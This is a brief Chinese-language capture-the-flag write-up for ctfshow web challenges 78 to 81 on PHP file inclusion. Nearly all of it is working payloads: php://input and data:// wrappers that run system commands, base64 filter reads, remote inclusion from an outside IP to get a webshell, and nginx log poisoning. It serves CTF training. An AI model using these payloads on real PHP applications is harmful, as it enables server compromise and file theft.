1.web78
payload:
php://input
post 传入以下数据
<?php system('cat flag.php')?>
php://filter/convert.base64-encode/resource=flag.php
data://text/palin,<?php system('cat flag.php')?>
2.web79
过滤了php
payload:
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== <?php system('cat flag.php');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data://text/plain,<?=`tac f*`;?>
3.web80
又过滤了data,可以使用远程文件包含
公网ip放上1.txt,内容
使用蚁剑连接,或直接命令执行
payload:
http://100.2.1.1/1.txt
post传参
1=system('cat fl0g.php');
4.web81
冒号被替换了,远程文件包含不可用,注意这里双写不可绕过,被替换成了?而不是空格
使用ua日志文件包含,ua头没有进行编码,其他位置都进行了编码
查看一下中间件是nginx
日志位置在/var/log/nginx/access.log
参考文章;
ctfshow文件包含